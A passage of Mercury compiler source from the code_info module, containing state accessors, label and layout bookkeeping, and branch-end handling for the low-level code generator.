StaticCodeAddrs = have_static_code_addresses\n    ;\n        OptStaticCodeAddr = no,\n        StaticCodeAddrs = do_not_have_static_code_addresses\n    ),\n    ExprnOpts = exprn_opts(NLG, ASM, UBF, UseFloatRegs, SGCell, SGFloat,\n        StaticCodeAddrs).\n\n:- pred init_maybe_trace_info(trace_level::in, globals::in,\n    module_info::in, pred_info::in, proc_info::in, trace_slot_info::out,\n    code_info::in, code_info::out) is det.\n\ninit_maybe_trace_info(TraceLevel, Globals, ModuleInfo, PredInfo,\n        ProcInfo, TraceSlotInfo, !CI) :-\n    (\n        eff_trace_level_is_none(ModuleInfo, PredInfo, ProcInfo, TraceLevel)\n            = no\n    ->\n        proc_info_get_has_tail_call_events(ProcInfo, HasTailCallEvents),\n        (\n            HasTailCallEvents = tail_call_events,\n            get_next_label(TailRecLabel, !CI),\n            MaybeTailRecLabel = yes(TailRecLabel)\n        ;\n            HasTailCallEvents = no_tail_call_events,\n            MaybeTailRecLabel = no\n        ),\n        trace_setup(ModuleInfo, PredInfo, ProcInfo, Globals, MaybeTailRecLabel,\n            TraceSlotInfo, TraceInfo, !CI),\n        set_maybe_trace_info(yes(TraceInfo), !CI)\n    ;\n        TraceSlotInfo = trace_slot_info(no, no, no, no, no, no)\n    ).\n\n%---------------------------------------------------------------------------%\n\nget_globals(CI, CI ^ code_info_static ^ cis_globals).\nget_module_info(CI, CI ^ code_info_static ^ cis_module_info).\nget_exprn_opts(CI, CI ^ code_info_static ^ cis_exprn_opts).\nget_pred_id(CI, CI ^ code_info_static ^ cis_pred_id).\nget_proc_id(CI, CI ^ code_info_static ^ cis_proc_id).\nget_pred_info(CI, CI ^ code_info_static ^ cis_pred_info).\nget_proc_info(CI, CI ^ code_info_static ^ cis_proc_info).\nget_varset(CI, CI ^ code_info_static ^ cis_varset).\nget_var_slot_count(CI, CI ^ code_info_static ^ cis_var_slot_count).\nget_maybe_trace_info(CI, CI ^ code_info_static ^ cis_maybe_trace_info).\nget_opt_no_return_calls(CI, CI ^ code_info_static ^ cis_opt_no_resume_calls).\nget_emit_trail_ops(CI, CI ^ code_info_static ^ cis_emit_trail_ops).\nget_opt_trail_ops(CI, CI ^ code_info_static ^ cis_opt_trail_ops).\nget_emit_region_ops(CI, CI ^ code_info_static ^ cis_emit_region_ops).\nget_opt_region_ops(CI, CI ^ code_info_static ^ cis_opt_region_ops).\nget_auto_comments(CI, CI ^ code_info_static ^ cis_auto_comments).\nget_lcmc_null(CI, CI ^ code_info_static ^ cis_lcmc_null).\nget_containing_goal_map(CI, CI ^ code_info_static ^ cis_containing_goal_map).\nget_const_struct_map(CI, CI ^ code_info_static ^ cis_const_struct_map).\nget_forward_live_vars(CI, CI ^ code_info_loc_dep ^ cild_forward_live_vars).\nget_instmap(CI, CI ^ code_info_loc_dep ^ cild_instmap).\nget_zombies(CI, CI ^ code_info_loc_dep ^ cild_zombies).\nget_var_locn_info(CI, CI ^ code_info_loc_dep ^ cild_var_locn_info).\nget_temps_in_use(CI, CI ^ code_info_loc_dep ^ cild_temps_in_use).\nget_fail_info(CI, CI ^ code_info_loc_dep ^ cild_fail_info).\nget_par_conj_depth(CI, CI ^ code_info_loc_dep ^ cild_par_conj_depth).\nget_label_counter(CI, CI ^ code_info_persistent ^ cip_label_num_src).\nget_succip_used(CI, CI ^ code_info_persistent ^ cip_store_succip).\nget_layout_info(CI, CI ^ code_info_persistent ^ cip_label_info).\nget_proc_trace_events(CI, CI ^ code_info_persistent ^ cip_proc_trace_events).\nget_max_temp_slot_count(CI, CI ^ code_info_persistent ^ cip_stackslot_max).\nget_temp_content_map(CI, CI ^ code_info_persistent ^ cip_temp_contents).\nget_persistent_temps(CI, CI ^ code_info_persistent ^ cip_persistent_temps).\nget_closure_seq_counter(CI,\n    CI ^ code_info_persistent ^ cip_closure_layout_seq).\nget_closure_layouts(CI, CI ^ code_info_persistent ^ cip_closure_layouts).\nget_max_reg_in_use_at_trace(CI, MaxRegR, MaxRegF) :-\n    MaxRegR = CI ^ code_info_persistent ^ cip_max_reg_r_used,\n    MaxRegF = CI ^ code_info_persistent ^ cip_max_reg_f_used.\nget_created_temp_frame(CI, CI ^ code_info_persistent ^ cip_created_temp_frame).\nget_static_cell_info(CI, CI ^ code_info_persistent ^ cip_static_cell_info).\nget_alloc_sites(CI, CI ^ code_info_persistent ^ cip_alloc_sites).\nget_used_env_vars(CI, CI ^ code_info_persistent ^ cip_used_env_vars).\n\n%---------------------------------------------------------------------------%\n\nset_maybe_trace_info(TI, CI,\n    CI ^ code_info_static ^ cis_maybe_trace_info := TI).\nset_forward_live_vars(LV, CI,\n    CI ^ code_info_loc_dep ^ cild_forward_live_vars := LV).\nset_instmap(IM, CI, CI ^ code_info_loc_dep ^ cild_instmap := IM).\nset_zombies(Zs, CI, CI ^ code_info_loc_dep ^ cild_zombies := Zs).\nset_var_locn_info(EI, CI, CI ^ code_info_loc_dep ^ cild_var_locn_info := EI).\nset_temps_in_use(TI, CI, CI ^ code_info_loc_dep ^ cild_temps_in_use := TI).\nset_fail_info(FI, CI, CI ^ code_info_loc_dep ^ cild_fail_info := FI).\nset_par_conj_depth(N, CI, CI ^ code_info_loc_dep ^ cild_par_conj_depth := N).\nset_label_counter(LC, CI, CI ^ code_info_persistent ^ cip_label_num_src := LC).\nset_succip_used(SU, CI, CI ^ code_info_persistent ^ cip_store_succip := SU).\nset_layout_info(LI, CI, CI ^ code_info_persistent ^ cip_label_info := LI).\nset_proc_trace_events(PTE, CI,\n    CI ^ code_info_persistent ^ cip_proc_trace_events := PTE).\nset_max_temp_slot_count(TM, CI,\n    CI ^ code_info_persistent ^ cip_stackslot_max := TM).\nset_temp_content_map(CM, CI,\n    CI ^ code_info_persistent ^ cip_temp_contents := CM).\nset_persistent_temps(PT, CI,\n    CI ^ code_info_persistent ^ cip_persistent_temps := PT).\nset_closure_seq_counter(CLS, CI,\n    CI ^ code_info_persistent ^ cip_closure_layout_seq := CLS).\nset_closure_layouts(CG, CI,\n    CI ^ code_info_persistent ^ cip_closure_layouts := CG).\nset_max_reg_in_use_at_trace(MR, MF, !CI) :-\n    !CI ^ code_info_persistent ^ cip_max_reg_r_used := MR,\n    !CI ^ code_info_persistent ^ cip_max_reg_f_used := MF.\nset_created_temp_frame(MR, CI,\n    CI ^ code_info_persistent ^ cip_created_temp_frame := MR).\nset_static_cell_info(SCI, CI,\n    CI ^ code_info_persistent ^ cip_static_cell_info := SCI).\nset_alloc_sites(ASI, CI,\n    CI ^ code_info_persistent ^ cip_alloc_sites := ASI).\nset_used_env_vars(UEV, CI,\n    CI ^ code_info_persistent ^ cip_used_env_vars := UEV).\n\nget_containing_goal_map_det(CI, ContainingGoalMap) :-\n    get_containing_goal_map(CI, MaybeContainingGoalMap),\n    (\n        MaybeContainingGoalMap = yes(ContainingGoalMap)\n    ;\n        MaybeContainingGoalMap = no,\n        unexpected($module, $pred, \"no map\")\n    ).\n\nadd_out_of_line_code(NewCode, !CI) :-\n    Code0 = !.CI ^ code_info_persistent ^ cip_out_of_line_code,\n    Code = Code0 ++ NewCode,\n    !CI ^ code_info_persistent ^ cip_out_of_line_code := Code.\n\nget_out_of_line_code(CI, CI ^ code_info_persistent ^ cip_out_of_line_code).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for simple wrappers around access predicates.\n\n:- interface.\n\n    % Get the hlds mapping from variables to stack slots\n    %\n:- pred get_stack_slots(code_info::in, stack_slots::out) is det.\n\n    % Get the table that contains advice about where\n    % variables should be put.\n    %\n:- pred get_follow_var_map(code_info::in, abs_follow_vars_map::out) is det.\n\n    % Get the integer that gives the number of the next\n    % non-reserved register.\n    %\n:- pred get_next_non_reserved(code_info::in, reg_type::in, int::out) is det.\n\n    % Set the table that contains advice about where\n    % variables should be put.\n:- pred set_follow_vars(abs_follow_vars::in,\n    code_info::in, code_info::out) is det.\n\n    % pre_goal_update(GoalInfo, HasSubGoal, OldCodeInfo, NewCodeInfo)\n    % updates OldCodeInfo to produce NewCodeInfo with the changes\n    % specified by GoalInfo.\n    %\n:- pred pre_goal_update(hlds_goal_info::in, has_subgoals::in,\n    code_info::in, code_info::out) is det.\n\n    % post_goal_update(GoalInfo, OldCodeInfo, NewCodeInfo)\n    % updates OldCodeInfo to produce NewCodeInfo with the changes described\n    % by GoalInfo.\n    %\n:- pred post_goal_update(hlds_goal_info::in,\n    code_info::in, code_info::out) is det.\n\n    % Find out whether the body of the current procedure should use\n    % typeinfo liveness.\n    %\n:- func body_typeinfo_liveness(code_info) = bool.\n\n    % Find out the type of the given variable.\n    %\n:- func variable_type(code_info, prog_var) = mer_type.\n\n:- func variable_is_of_dummy_type(code_info, prog_var) = is_dummy_type.\n\n    % Compute the principal type constructor of the given type, and return the\n    % definition of this type constructor, if it has one (some type\n    % constructors are built in, and some are hidden behind abstraction\n    % barriers).\n    %\n:- pred search_type_defn(code_info::in, mer_type::in, hlds_type_defn::out) is\n    semidet.\n\n    % Compute the principal type constructor of the given type, and return the\n    % definition of this type constructor. Abort if it doesn't have a\n    % definition (e.g. because it is a builtin).\n    %\n:- func lookup_type_defn(code_info, mer_type) = hlds_type_defn.\n\n:- func lookup_cheaper_tag_test(code_info, mer_type) = maybe_cheaper_tag_test.\n\n:- func filter_region_vars(code_info, set_of_progvar) = set_of_progvar.\n\n    % Get the code model of the current procedure.\n    %\n:- func get_proc_model(code_info) = code_model.\n\n    % Get the list of the head variables of the current procedure.\n    %\n:- func get_headvars(code_info) = list(prog_var).\n\n    % Get the call argument information for the current procedure\n    %\n:- func get_arginfo(code_info) = list(arg_info).\n\n    % Get the call argument info for a given mode of a given predicate\n    %\n:- func get_pred_proc_arginfo(code_info, pred_id, proc_id) = list(arg_info).\n\n    % Get the set of variables currently needed by the resume\n    % points of enclosing goals.\n    %\n:- func current_resume_point_vars(code_info) = set_of_progvar.\n\n:- func variable_name(code_info, prog_var) = string.\n\n    % Create a code address which holds the address of the specified\n    % procedure.\n    % The fourth argument should be `no' if the the caller wants the\n    % returned address to be valid from everywhere in the program.\n    % If being valid from within the current procedure is enough,\n    % this argument should be `yes' wrapped around the value of the\n    % --procs-per-c-function option and the current procedure id.\n    % Using an address that is only valid from within the current\n    % procedure may make jumps more efficient.\n    %\n    % If the procs_per_c_function option tells us to put more than one\n    % procedure into each C function, but not all procedures in the module\n    % are in one function, then we would like to be able to use the\n    % fast form of reference to a procedure for references not only from\n    % within the same procedure but also from other procedures within\n    % the same C function. However, at the time of code generation,\n    % we do not yet know which procedures will be put into the same\n    % C functions, and so we cannot do this.\n    %\n:- func make_proc_entry_label(code_info, module_info, pred_id, proc_id, bool)\n    = code_addr.\n\n    % Generate the next local label in sequence.\n    %\n:- pred get_next_label(label::out, code_info::in, code_info::out)\n    is det.\n\n    % Note that the succip slot is used, and thus cannot be optimized away.\n    %\n:- pred succip_is_used(code_info::in, code_info::out) is det.\n\n:- pred add_trace_layout_for_label(label::in, term.context::in, trace_port::in,\n    bool::in, forward_goal_path::in, maybe(user_event_info)::in,\n    layout_label_info::in, code_info::in, code_info::out) is det.\n\n:- pred get_cur_proc_label(code_info::in, proc_label::out) is det.\n\n:- pred get_next_closure_seq_no(int::out,\n    code_info::in, code_info::out) is det.\n\n:- pred add_closure_layout(closure_proc_id_data::in,\n    code_info::in, code_info::out) is det.\n\n:- pred add_threadscope_string(string::in, int::out,\n    code_info::in, code_info::out) is det.\n\n:- pred get_threadscope_rev_string_table(code_info::in,\n    list(string)::out, int::out) is det.\n\n:- pred add_scalar_static_cell(list(typed_rval)::in,\n    data_id::out, code_info::in, code_info::out) is det.\n\n:- pred add_scalar_static_cell_natural_types(list(rval)::in,\n    data_id::out, code_info::in, code_info::out) is det.\n\n:- pred add_vector_static_cell(list(llds_type)::in, list(list(rval))::in,\n    data_id::out, code_info::in, code_info::out) is det.\n\n:- pred add_alloc_site_info(prog_context::in, string::in, int::in,\n    alloc_site_id::out, code_info::in, code_info::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\n:- pred add_resume_layout_for_label(label::in,\n    layout_label_info::in, code_info::in, code_info::out) is det.\n\nget_stack_slots(CI, StackSlots) :-\n    get_var_locn_info(CI, VarLocnInfo),\n    var_locn_get_stack_slots(VarLocnInfo, StackSlots).\n\nget_follow_var_map(CI, FollowVarMap) :-\n    get_var_locn_info(CI, VarLocnInfo),\n    var_locn_get_follow_var_map(VarLocnInfo, FollowVarMap).\n\nget_next_non_reserved(CI, RegType, NextNonReserved) :-\n    get_var_locn_info(CI, VarLocnInfo),\n    var_locn_get_next_non_reserved(VarLocnInfo, RegType, NextNonReserved).\n\nset_follow_vars(FollowVars, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_set_follow_vars(FollowVars, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n%-----------------------------------------------------------------------------%\n\npre_goal_update(GoalInfo, HasSubGoals, !CI) :-\n    % The liveness pass puts resume_point annotations on some kinds\n    % of goals. The parts of the code generator that handle those kinds\n    % of goals should handle the resume point annotation as well;\n    % when they do, they remove the annotation. The following code\n    % is a sanity check to make sure that this has in fact been done.\n    goal_info_get_resume_point(GoalInfo, ResumePoint),\n    (\n        ResumePoint = no_resume_point\n    ;\n        ResumePoint = resume_point(_, _),\n        unexpected($module, $pred, \"pre_goal_update with resume point\")\n    ),\n    goal_info_get_follow_vars(GoalInfo, MaybeFollowVars),\n    (\n        MaybeFollowVars = yes(FollowVars),\n        set_follow_vars(FollowVars, !CI)\n    ;\n        MaybeFollowVars = no\n    ),\n    % NOTE: we must be careful to apply deaths before births\n    goal_info_get_pre_deaths(GoalInfo, PreDeaths),\n    rem_forward_live_vars(PreDeaths, !CI),\n    maybe_make_vars_forward_dead(PreDeaths, no, !CI),\n    goal_info_get_pre_births(GoalInfo, PreBirths),\n    add_forward_live_vars(PreBirths, !CI),\n    (\n        HasSubGoals = does_not_have_subgoals,\n        goal_info_get_post_deaths(GoalInfo, PostDeaths),\n        rem_forward_live_vars(PostDeaths, !CI)\n    ;\n        HasSubGoals = has_subgoals\n    ).\n\npost_goal_update(GoalInfo, !CI) :-\n    % note: we must be careful to apply deaths before births\n    goal_info_get_post_deaths(GoalInfo, PostDeaths),\n    rem_forward_live_vars(PostDeaths, !CI),\n    maybe_make_vars_forward_dead(PostDeaths, no, !CI),\n    goal_info_get_post_births(GoalInfo, PostBirths),\n    add_forward_live_vars(PostBirths, !CI),\n    make_vars_forward_live(PostBirths, !CI),\n    InstMapDelta = goal_info_get_instmap_delta(GoalInfo),\n    get_instmap(!.CI, InstMap0),\n    instmap.apply_instmap_delta(InstMap0, InstMapDelta, InstMap),\n    set_instmap(InstMap, !CI).\n\n%---------------------------------------------------------------------------%\n\nbody_typeinfo_liveness(CI) = TypeInfoLiveness :-\n    get_module_info(CI, ModuleInfo),\n    get_pred_id(CI, PredId),\n    module_info_pred_info(ModuleInfo, PredId, PredInfo),\n    get_globals(CI, Globals),\n    body_should_use_typeinfo_liveness(PredInfo, Globals, TypeInfoLiveness).\n\nget_var_types(CI) = VarTypes :-\n    get_proc_info(CI, ProcInfo),\n    proc_info_get_vartypes(ProcInfo, VarTypes).\n\nvariable_type(CI, Var) = Type :-\n    lookup_var_type(get_var_types(CI), Var, Type).\n\nvariable_is_of_dummy_type(CI, Var) = IsDummy :-\n    VarType = variable_type(CI, Var),\n    get_module_info(CI, ModuleInfo),\n    IsDummy = check_dummy_type(ModuleInfo, VarType).\n\nsearch_type_defn(CI, Type, TypeDefn) :-\n    get_module_info(CI, ModuleInfo),\n    type_to_ctor_det(Type, TypeCtor),\n    module_info_get_type_table(ModuleInfo, TypeTable),\n    search_type_ctor_defn(TypeTable, TypeCtor, TypeDefn).\n\nlookup_type_defn(CI, Type) = TypeDefn :-\n    ( search_type_defn(CI, Type, TypeDefnPrime) ->\n        TypeDefn = TypeDefnPrime\n    ;\n        unexpected($module, $pred, \"type ctor has no definition\")\n    ).\n\nlookup_cheaper_tag_test(CI, Type) = CheaperTagTest :-\n    (\n        search_type_defn(CI, Type, TypeDefn),\n        get_type_defn_body(TypeDefn, TypeBody),\n        TypeBody = hlds_du_type(_, _, CheaperTagTestPrime, _, _, _, _, _, _)\n    ->\n        CheaperTagTest = CheaperTagTestPrime\n    ;\n        CheaperTagTest = no_cheaper_tag_test\n    ).\n\nfilter_region_vars(CI, ForwardLiveVarsBeforeGoal) = RegionVars :-\n    VarTypes = code_info.get_var_types(CI),\n    RegionVars = set_of_var.filter(is_region_var(VarTypes),\n        ForwardLiveVarsBeforeGoal).\n\n%---------------------------------------------------------------------------%\n\nget_proc_model(CI) = CodeModel :-\n    get_proc_info(CI, ProcInfo),\n    CodeModel = proc_info_interface_code_model(ProcInfo).\n\nget_headvars(CI) = HeadVars :-\n    get_module_info(CI, ModuleInfo),\n    get_pred_id(CI, PredId),\n    get_proc_id(CI, ProcId),\n    module_info_pred_proc_info(ModuleInfo, PredId, ProcId, _, ProcInfo),\n    proc_info_get_headvars(ProcInfo, HeadVars).\n\nget_arginfo(CI) = ArgInfo :-\n    get_pred_id(CI, PredId),\n    get_proc_id(CI, ProcId),\n    ArgInfo = get_pred_proc_arginfo(CI, PredId, ProcId).\n\nget_pred_proc_arginfo(CI, PredId, ProcId) = ArgInfo :-\n    get_module_info(CI, ModuleInfo),\n    module_info_pred_proc_info(ModuleInfo, PredId, ProcId, _, ProcInfo),\n    proc_info_arg_info(ProcInfo, ArgInfo).\n\ncurrent_resume_point_vars(CI) = ResumeVars :-\n    get_fail_info(CI, FailInfo),\n    FailInfo = fail_info(ResumePointStack, _, _, _, _),\n    stack.det_top(ResumePointStack, ResumePointInfo),\n    pick_first_resume_point(ResumePointInfo, ResumeMap, _),\n    map.keys(ResumeMap, ResumeMapVarList),\n    ResumeVars = set_of_var.list_to_set(ResumeMapVarList).\n\nvariable_name(CI, Var) = Name :-\n    get_varset(CI, Varset),\n    varset.lookup_name(Varset, Var, Name).\n\n%---------------------------------------------------------------------------%\n\nmake_proc_entry_label(CI, ModuleInfo, PredId, ProcId, Immed0) = CodeAddr :-\n    (\n        Immed0 = no,\n        Immed = no\n    ;\n        Immed0 = yes,\n        get_globals(CI, Globals),\n        globals.lookup_int_option(Globals, procs_per_c_function, ProcsPerFunc),\n        get_pred_id(CI, CurPredId),\n        get_proc_id(CI, CurProcId),\n        Immed = yes(ProcsPerFunc - proc(CurPredId, CurProcId))\n    ),\n    CodeAddr = make_entry_label(ModuleInfo, PredId, ProcId, Immed).\n\nget_next_label(Label, !CI) :-\n    get_cur_proc_label(!.CI, ProcLabel),\n    get_label_counter(!.CI, C0),\n    counter.allocate(N, C0, C),\n    set_label_counter(C, !CI),\n    Label = internal_label(N, ProcLabel).\n\nsuccip_is_used(!CI) :-\n    set_succip_used(yes, !CI).\n\nadd_trace_layout_for_label(Label, Context, Port, IsHidden, GoalPath,\n        MaybeSolverEventInfo, Layout, !CI) :-\n    get_layout_info(!.CI, Internals0),\n    Exec = yes(trace_port_layout_info(Context, Port, IsHidden, GoalPath,\n        MaybeSolverEventInfo, Layout)),\n    (\n        Label = internal_label(LabelNum, _)\n    ;\n        Label = entry_label(_, _),\n        unexpected($module, $pred, \"entry\")\n    ),\n    ( map.search(Internals0, LabelNum, Internal0) ->\n        Internal0 = internal_layout_info(Exec0, Resume, Return),\n        (\n            Exec0 = no\n        ;\n            Exec0 = yes(_),\n            unexpected($module, $pred, \"already known label\")\n        ),\n        Internal = internal_layout_info(Exec, Resume, Return),\n        map.det_update(LabelNum, Internal, Internals0, Internals)\n    ;\n        Internal = internal_layout_info(Exec, no, no),\n        map.det_insert(LabelNum, Internal, Internals0, Internals)\n    ),\n    set_layout_info(Internals, !CI).\n\nadd_resume_layout_for_label(Label, LayoutInfo, !CI) :-\n    get_layout_info(!.CI, Internals0),\n    Resume = yes(LayoutInfo),\n    (\n        Label = internal_label(LabelNum, _)\n    ;\n        Label = entry_label(_, _),\n        unexpected($module, $pred, \"entry\")\n    ),\n    ( map.search(Internals0, LabelNum, Internal0) ->\n        Internal0 = internal_layout_info(Exec, Resume0, Return),\n        (\n            Resume0 = no\n        ;\n            Resume0 = yes(_),\n            unexpected($module, $pred, \"already known label\")\n        ),\n        Internal = internal_layout_info(Exec, Resume, Return),\n        map.det_update(LabelNum, Internal, Internals0, Internals)\n    ;\n        Internal = internal_layout_info(no, Resume, no),\n        map.det_insert(LabelNum, Internal, Internals0, Internals)\n    ),\n    set_layout_info(Internals, !CI).\n\n:- pred get_active_temps_data(code_info::in,\n    assoc_list(lval, slot_contents)::out) is det.\n\nget_active_temps_data(CI, Temps) :-\n    get_temps_in_use(CI, TempsInUse),\n    get_temp_content_map(CI, TempContentMap),\n    map.select(TempContentMap, TempsInUse, TempsInUseContentMap),\n    map.to_assoc_list(TempsInUseContentMap, Temps).\n\nget_cur_proc_label(CI, ProcLabel) :-\n    ProcLabel = CI ^ code_info_static ^ cis_proc_label.\n\nget_next_closure_seq_no(SeqNo, !CI) :-\n    get_closure_seq_counter(!.CI, C0),\n    counter.allocate(SeqNo, C0, C),\n    set_closure_seq_counter(C, !CI).\n\nadd_closure_layout(ClosureLayout, !CI) :-\n    get_closure_layouts(!.CI, ClosureLayouts),\n    set_closure_layouts([ClosureLayout | ClosureLayouts], !CI).\n\nadd_threadscope_string(String, SlotNum, !CI) :-\n    Size0 = !.CI ^ code_info_persistent ^ cip_ts_string_table_size,\n    RevTable0 = !.CI ^ code_info_persistent ^ cip_ts_rev_string_table,\n    SlotNum = Size0,\n    Size = Size0 + 1,\n    RevTable = [String | RevTable0],\n    !CI ^ code_info_persistent ^ cip_ts_string_table_size := Size,\n    !CI ^ code_info_persistent ^ cip_ts_rev_string_table := RevTable.\n\nget_threadscope_rev_string_table(CI, RevTable, TableSize) :-\n    RevTable = CI ^ code_info_persistent ^ cip_ts_rev_string_table,\n    TableSize = CI ^ code_info_persistent ^ cip_ts_string_table_size.\n\nadd_scalar_static_cell(RvalsTypes, DataAddr, !CI) :-\n    get_static_cell_info(!.CI, StaticCellInfo0),\n    global_data.add_scalar_static_cell(RvalsTypes, DataAddr,\n        StaticCellInfo0, StaticCellInfo),\n    set_static_cell_info(StaticCellInfo, !CI).\n\nadd_scalar_static_cell_natural_types(Rvals, DataAddr, !CI) :-\n    get_static_cell_info(!.CI, StaticCellInfo0),\n    global_data.add_scalar_static_cell_natural_types(Rvals, DataAddr,\n        StaticCellInfo0, StaticCellInfo),\n    set_static_cell_info(StaticCellInfo, !CI).\n\nadd_vector_static_cell(Types, Vector, DataAddr, !CI) :-\n    get_static_cell_info(!.CI, StaticCellInfo0),\n    global_data.add_vector_static_cell(Types, Vector, DataAddr,\n        StaticCellInfo0, StaticCellInfo),\n    set_static_cell_info(StaticCellInfo, !CI).\n\nadd_alloc_site_info(Context, Type, Size, AllocId, !CI) :-\n    get_cur_proc_label(!.CI, ProcLabel),\n    AllocSite = alloc_site_info(ProcLabel, Context, Type, Size),\n    AllocId = alloc_site_id(AllocSite),\n    get_alloc_sites(!.CI, AllocSites0),\n    set_tree234.insert(AllocSite, AllocSites0, AllocSites),\n    set_alloc_sites(AllocSites, !CI).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for handling branched control structures.\n\n:- interface.\n\n:- type position_info.\n:- type branch_end_info.\n\n:- type branch_end  ==  maybe(branch_end_info).\n\n:- pred remember_position(code_info::in, position_info::out) is det.\n\n:- pred reset_to_position(position_info::in,\n    code_info::in, code_info::out) is det.\n\n:- pred reset_resume_known(position_info::in,\n    code_info::in, code_info::out) is det.\n\n:- pred generate_branch_end(abs_store_map::in, branch_end::in, branch_end::out,\n    llds_code::out, code_info::in, code_info::out) is det.\n\n:- pred after_all_branches(abs_store_map::in, branch_end::in,\n    code_info::in, code_info::out) is det.\n\n:- pred save_hp_in_branch(llds_code::out, lval::out,\n    position_info::in, position_info::out, code_info::in, code_info::out)\n    is det.\n\n:- implementation.\n\n:- type position_info\n    --->    position_info(\n                % The location-dependent part of the code_info\n                % at a given position.\n                code_info_loc_dep\n            ).\n\n:- type branch_end_info\n    --->    branch_end_info(\n                % The code_info at the end of a branch.\n                code_info\n            ).\n\n:- func pos_get_fail_info(position_info) = fail_info.\n\npos_get_fail_info(position_info(LocDep)) = LocDep ^ cild_fail_info.\n\nremember_position(CI, position_info(CI ^ code_info_loc_dep)).\n\nreset_to_position(position_info(LocDep), CurCI, NextCI) :-\n    CurCI   = code_info(Static, _, Persistent),\n    NextCI0 = code_info(Static, LocDep, Persistent),\n\n    get_persistent_temps(NextCI0, PersistentTemps),\n    get_temps_in_use(NextCI0, TempsInUse0),\n    set.union(PersistentTemps, TempsInUse0, TempsInUse),\n    set_temps_in_use(TempsInUse, NextCI0, NextCI).\n\nreset_resume_known(BranchStart, !CI) :-\n    BranchStartFailInfo = pos_get_fail_info(BranchStart),\n    BranchStartFailInfo = fail_info(_, BSResumeKnown, _, _, _),\n    get_fail_info(!.CI, CurFailInfo),\n    CurFailInfo = fail_info(CurFailStack, _, CurCurfMaxfr, CurCondEnv,\n        CurHijack),\n    NewFailInfo = fail_info(CurFailStack, BSResumeKnown, CurCurfMaxfr,\n        CurCondEnv, CurHijack),\n    set_fail_info(NewFailInfo, !CI).\n\ngenerate_branch_end(StoreMap, MaybeEnd0, MaybeEnd, Code, !CI) :-\n    % The code generator generates better code if it knows in advance where\n    % each variable should go. We don't need to reset the follow_vars\n    % afterwards, since every goal following a branched control structure\n    % must in any case be annotated with its own follow_var set.\n    map.to_assoc_list(StoreMap, AbsVarLocs),\n    assoc_list.values(AbsVarLocs, AbsLocs),\n    code_util.max_mentioned_abs_regs(AbsLocs, MaxRegR, MaxRegF),\n    set_follow_vars(abs_follow_vars(StoreMap, MaxRegR + 1, MaxRegF + 1), !CI),\n    get_instmap(!.CI, InstMap),\n    ( instmap_is_reachable(InstMap) ->\n        VarLocs = assoc_list.map_values_only(abs_locn_to_lval, AbsVarLocs),\n        place_vars(VarLocs, Code, !CI)\n    ;\n        % With --opt-no-return-call, the variables that we would have\n        % saved across a call that cannot return have had the last\n        % of their code generation state destroyed, so calling\n        % place_vars would cause a code generator abort. However,\n        % pretending that all the variables are where the store map\n        % says they should be is perfectly fine, since we can never\n        % reach the end of *this* branch anyway.\n        remake_with_store_map(StoreMap, !CI),\n        Code = empty\n    ),\n    EndCodeInfo1 = !.CI,\n    (\n        MaybeEnd0 = no,\n        MaybeEnd = yes(branch_end_info(EndCodeInfo1))\n    ;\n        MaybeEnd0 = yes(branch_end_info(EndCodeInfo0)),\n\n        % Make sure the left context we leave the branched structure with\n        % is valid for all branches.\n        get_fail_info(EndCodeInfo0, FailInfo0),\n        get_fail_info(EndCodeInfo1, FailInfo1),\n        FailInfo0 = fail_info(_, ResumeKnown0, CurfrMaxfr0, CondEnv0, Hijack0),\n        FailInfo1 = fail_info(R, ResumeKnown1, CurfrMaxfr1, CondEnv1, Hijack1),\n        (\n            ResumeKnown0 = resume_point_known(Redoip0),\n            ResumeKnown1 = resume_point_known(Redoip1)\n        ->\n            ResumeKnown = resume_point_known(Redoip0),\n            expect(unify(Redoip0, Redoip1), $module, $pred, \"redoip mismatch\")\n        ;\n            ResumeKnown = resume_point_unknown\n        ),\n        (\n            CurfrMaxfr0 = must_be_equal,\n            CurfrMaxfr1 = must_be_equal\n        ->\n            CurfrMaxfr = must_be_equal\n        ;\n            CurfrMaxfr = may_be_different\n        ),\n        (\n            Hijack0 = allowed,\n            Hijack1 = allowed\n        ->\n            Hijack = allowed\n        ;\n            Hijack = not_allowed\n        ),\n        expect(unify(CondEnv0, CondEnv1), $module, $pred,\n            \"some but not all branches inside a non condition\"),\n        FailInfo = fail_info(R, ResumeKnown, CurfrMaxfr, CondEnv0, Hijack),\n        set_fail_info(FailInfo, EndCodeInfo1, EndCodeInfoA),\n\n        % Make sure the \"temps in use\" set at the end of the branched control\n        % structure includes every slot in use at the end of any branch.\n        get_temps_in_use(EndCodeInfo0, TempsInUse0),\n        get_temps_in_use(EndCodeInfo1, TempsInUse1),\n        set.union(TempsInUse0, TempsInUse1, TempsInUse),\n        set_temps_in_use(TempsInUse, EndCodeInfoA, EndCodeInfo),\n\n        MaybeEnd = yes(branch_end_info(EndCodeInfo))\n    ).\n\nafter_all_branches(StoreMap, MaybeEnd, !CI) :-\n    (\n        MaybeEnd = yes(BranchEnd),\n        BranchEnd = branch_end_info(BranchEndCodeInfo),\n        BranchEndLocDep = BranchEndCodeInfo ^ code_info_loc_dep,\n        reset_to_position(position_info(BranchEndLocDep), !CI),\n        remake_with_store_map(StoreMap, !CI)\n    ;\n        MaybeEnd = no,\n        unexpected($module, $pred, \"no branches in branched control structure\")\n    ).\n\n    % remake_with_store_map throws away the var_info data structure, forgetting\n    % the current locations of all variables, and rebuilds it from scratch\n    % based on the given store map. The new var_info will know about only\n    % the variables present in the store map, and will believe they are\n    % where the store map says they are.\n    %\n:- pred remake_with_store_map(abs_store_map::in,\n    code_info::in, code_info::out) is det.\n\nremake_with_store_map(StoreMap, !CI) :-\n    map.to_assoc_list(StoreMap, VarLocns),\n    VarLvals = assoc_list.map_values_only(abs_locn_to_lval, VarLocns),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    reinit_var_locn_state(VarLvals, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nsave_hp_in_branch(Code, Slot, Pos0, Pos, CI0, CI) :-\n    CI0 = code_info(CIStatic0, CILocDep0, CIPersistent0),\n    Pos0 = position_info(LocDep0),\n    CI1 = code_info(CIStatic0, LocDep0, CIPersistent0),\n    save_hp(Code, Slot, CI1, CI2),\n   